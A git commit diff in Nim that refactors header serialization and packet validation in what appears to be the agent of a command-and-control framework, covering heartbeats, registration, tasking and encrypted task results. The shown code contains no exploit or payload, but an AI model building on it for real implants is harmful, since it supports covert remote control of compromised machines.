Cleaned up parts of the serialization by removing redundant code.

This commit is contained in:
Jakob Friedl
2025-07-28 21:29:47 +02:00
parent 882579b3cb
commit 0d54b3e64b
16 changed files with 185 additions and 199 deletions

View File

@@ -38,6 +38,6 @@ proc serializeHeartbeat*(config: AgentConfig, request: var Heartbeat): seq[byte]
request.header.gmac = gmac
# Serialize header
let header = packer.packHeader(request.header, uint32(encData.len))
let header = packer.serializeHeader(request.header, uint32(encData.len))
return header & encData

View File

@@ -248,7 +248,7 @@ proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistration
data.header.gmac = gmac
# Serialize header
let header = packer.packHeader(data.header, uint32(encData.len))
let header = packer.serializeHeader(data.header, uint32(encData.len))
packer.reset()
# Serialize the agent's public key to add it to the header

View File

@@ -13,26 +13,14 @@ proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
var unpacker = initUnpacker(bytes.toString)
let header = unpacker.unpackHeader()
let header = unpacker.deserializeHeader()
# Packet Validation
if header.magic != MAGIC:
raise newException(CatchableError, "Invalid magic bytes.")
if header.packetType != cast[uint8](MSG_TASK):
raise newException(CatchableError, "Invalid packet type.")
# Validate sequence number
if not validateSequence(header.agentId, header.seqNr, header.packetType):
raise newException(CatchableError, "Invalid sequence number.")
validatePacket(header, cast[uint8](MSG_TASK))
# Decrypt payload
let payload = unpacker.getBytes(int(header.size))
let (decData, gmac) = decrypt(config.sessionKey, header.iv, payload, header.seqNr)
if gmac != header.gmac:
raise newException(CatchableError, "Invalid authentication tag (GMAC) for task.")
let decData= validateDecryption(config.sessionKey, header.iv, payload, header.seqNr, header)
# Deserialize decrypted data
unpacker = initUnpacker(decData.toString)

View File

@@ -51,6 +51,6 @@ proc serializeTaskResult*(config: AgentConfig, taskResult: var TaskResult): seq[
taskResult.header.gmac = gmac
# Serialize header
let header = packer.packHeader(taskResult.header, uint32(encData.len))
let header = packer.serializeHeader(taskResult.header, uint32(encData.len))
return header & encData